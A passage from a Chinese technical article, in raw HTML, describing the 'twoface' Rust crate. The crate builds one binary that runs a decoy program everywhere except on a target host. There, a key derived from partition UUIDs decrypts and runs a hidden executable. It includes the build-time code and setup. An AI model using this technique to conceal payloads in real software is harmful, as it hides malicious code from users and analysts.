加密数据</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">解密成功则运行解密后的 &#34;hidden&#34; 程序，否则运行 &#34;normal&#34; 程序</span></p></li></ol><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012212" data-ratio="1.004" data-s="300,640" type="block" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=8f965743&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nShV8wXHwBGibCdN4yPbibj1lnZTdaXNLIibXJzQeRiaSeGCHHNj37wRVOrfAGGY11gj0Cd6ic5Naaia7BIibm7Ww2nSOHOdYF7Q02icfRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><figcaption><span leaf="">整体流程</span></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">该方案由设计本身保证：二进制文件在非目标主机上无法解密 &#34;hidden&#34; 程序，因为提取到的主机数据不同，派生出的解密密钥无效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为此选择一种同时提供认证的对称分组加密算法，使得在非目标主机上运行时可检测到无效密钥，避免将解密产生的垃圾数据作为程序执行。AES-GCM 是常见的算法选择。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">选择派生信息</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">用于识别目标主机并按前述方式派生密钥的数据需要谨慎选择。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">需满足以下条件：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">足够独特，否则 &#34;hidden&#34; 程序可能在错误的目标上运行</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">随时间稳定，否则 &#34;hidden&#34; 程序可能永远无法运行，即使在正确的目标上也是如此</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">对无权访问目标机器的人难以猜测，使不了解目标系统的第三方无法提取 &#34;hidden&#34; 程序</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此处&#34;难以猜测&#34;的含义有别于经典密钥（例如密码）。例如主板序列号对外人确实难以猜测，但它算不上真正的秘密，因为可以轻易从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/class/dmi/id/</span></code><span leaf="">读取，或从包装上读取。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">候选项包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">用户 UID: 独特性不足，大多数工作站用户的值为 1000，且熵严重不足</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WAN 接口 IPv6: 可能不稳定，且可能通过其他渠道被猜测</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">来自 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/class/dmi/id/</span></code><span leaf="">的硬件序列号：读取需要 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">root</span></code><span leaf="">权限，并非所有设备都具备，熵也有限</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">grep ^model /proc/cpuinfo</span></code><span leaf="">显示的 CPU 型号：独特性可能不足，例如在虚拟机或公司笔记本机群中</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">由 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /dev/disk/by-uuid</span></code><span leaf="">显示的磁盘分区 UUID: 该值在分区创建时随机生成，熵和独特性俱佳，满足全部需求</span></p></li></ul><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">构建时代码</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了便于开发者使用，我们将所有逻辑集成到一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">twoface</span></code><span leaf="">Rust crate 中。Rust 作为现代系统级语言，对构建时代码也有出色的支持。该库通过特性标志启用两个主要部分：构建时部分控制 &#34;hidden&#34; 二进制的加密，并生成嵌入数据供第二个运行时部分使用；运行时部分执行解密，并将执行分派至 &#34;normal&#34; 或 &#34;hidden&#34; 二进制。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">将 &#34;normal&#34; 与 &#34;hidden&#34; 两个二进制打包为一个新的 &#34;Two-Face&#34; 二进制，包含所有加密与嵌入操作，全部可在一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">build.rs</span></code><span leaf="">文件中完成，最终二进制代码只需：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">build.rs</span></code><span leaf="">:</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">use</span></span><span leaf=""> std</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">io;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">main</span></span><span leaf="">() -&gt; io::</span><span style="color: rgb(215, 58, 73);"><span leaf="">Result</span></span><span leaf="">&lt;()&gt; {</span><br/><span leaf="">    twoface</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">build</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">build</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">&lt;twoface::host::HostPartitionUuids&gt;()</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这里的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HostPartitionUuids</span></code><span leaf="">是一个泛型类型，用于定制主机数据的提取方式，实现了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HostData</span></code><span leaf="">trait。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">/// System partition UUIDs, as shown in `ls /dev/disk/by-uuid | LANG=C sort`</span></span><br/><span leaf="">#[derive(serde::Serialize, serde::Deserialize)]</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">pub</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">HostPartitionUuids</span></span><span leaf=""> {</span><br/><span leaf="">    part_uuids: </span><span style="color: rgb(215, 58, 73);"><span leaf="">Vec&lt;String&gt;</span></span><span leaf="">,</span><br/><span leaf="">}</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">impl</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">HostData</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">for</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">HostPartitionUuids</span></span><span leaf=""> {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">fn</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">from_host</span></span><span leaf="">() -&gt; io::</span><span style="color: rgb(215, 58, 73);"><span leaf="">Result</span></span><span leaf="">&lt;</span><span style="color: rgb(215, 58, 73);"><span leaf="">Self</span></span><span leaf="">&gt; {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">let</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">mut</span></span><span leaf=""> part_uuids: </span><span style="color: rgb(215, 58, 73);"><span leaf="">Vec&lt;</span></span><span leaf="">_</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">=</span></span><span leaf=""> fs</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">read_dir</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/dev/disk/by-uuid&#34;</span></span><span leaf="">)?</span><br/><span leaf="">            .</span><span style="color: rgb(111, 66, 193);"><span leaf="">filter_map</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">Result::</span></span><span leaf="">ok)</span><br/><span leaf="">            .</span><span style="color: rgb(111, 66, 193);"><span leaf="">filter_map</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf="">e</span><span style="color: rgb(215, 58, 73);"><span leaf="">|</span></span><span leaf=""> e.</span><span style="color: rgb(111, 66, 193);"><span leaf="">file_name</span></span><span leaf="">().</span><span style="color: rgb(111, 66, 193);"><span leaf="">into_string</span></span><span leaf="">().</span><span style="color: rgb(111, 66, 193);"><span leaf="">ok</span></span><span leaf="">())</span><br/><span leaf="">            .</span><span style="color: rgb(111, 66, 193);"><span leaf="">collect</span></span><span leaf="">();</span><br/><span leaf="">        part_uuids.</span><span style="color: rgb(111, 66, 193);"><span leaf="">sort_unstable</span></span><span leaf="">();</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">Ok</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">Self</span></span><span leaf=""> { part_uuids })</span><br/><span leaf="">    }</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">代码非常简短，定制或实现其他数据源都很容易。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">随后可编写一个 JSON 文件，包含期望在目标主机上匹配的数据，例如：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">{</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;part_uuids&#34;</span></span><span leaf="">: [</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;02e989c5-32dc-45ad-98f8-f284e9ac23c0&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;0e2fcda2-5ca1-4e38-841d-68e5d3a46f93&#34;</span></span><span leaf="">,</span><br/><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;f99b45d8-d76d-48a3-94a2-3b0c6316d899&#34;</span></span><br/><span leaf="">    ]</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最终代码在构建时还需要几个环境变量，用于传递两个二进制文件以及上述 JSON 的路径：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">export</span></span><span leaf=""> TWOFACE_HOST_INFO=</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/path/to/host_partition_uuids.json&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">export</span></span><span leaf=""> TWOFACE_NORMAL_EXE=</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/path/to/normal_exe&#34;</span></span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">export</span></span><span leaf=""> TWOFACE_HIDDEN_EXE=</span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/path/to/hidden_exe&#34;</span></span><br/><span leaf="">cargo build</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在构建时执行以下步骤：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">读取 &#34;normal&#34; 可执行文件，并据此生成一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">const</span></code><span leaf="">数组供运行时代码使用</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">读取 &#34;hidden&#34; 可执行文件并对其压缩</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TWOFACE_HOST_INFO</span></code><span leaf="">指向的文件读取主机数据</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">生成一个随机密钥，并据此生成一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">const</span></code><span leaf="">数组供运行时代码使用</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">使用第 3 步的主机数据派生该密钥</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">使用派生出的密钥加密 &#34;hidden&#34; 可执行文件的压缩数据，并生成一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">const</span></code><span leaf="">数组供运行时代码使用</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">接着在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">main.rs</span></code><span leaf="">（运行时代码）中，仅需 include 构建时生成的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">.rs</span></code><span leaf="">文件，并将生成的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">const</span></code><span leaf="">数组传递给 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">run</span></code><span leaf="">函数，由其运行 &#34;normal&#34; 或 &#34;hidden&#34; 二进制：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(215, 58, 73);"><span leaf="">use</span></span><span leaf=""> std</span><span style="color: rgb(215, 58, 73);"><span leaf="">::</span></span><span leaf="">io;</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">include!</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">concat!</span></span><span leaf="">(</span><span style="color: rgb(0, 92, 197);"><span leaf="">env!</span></span><span leaf="">(</span><span style="color: rgb(0, 56, 120);"><span 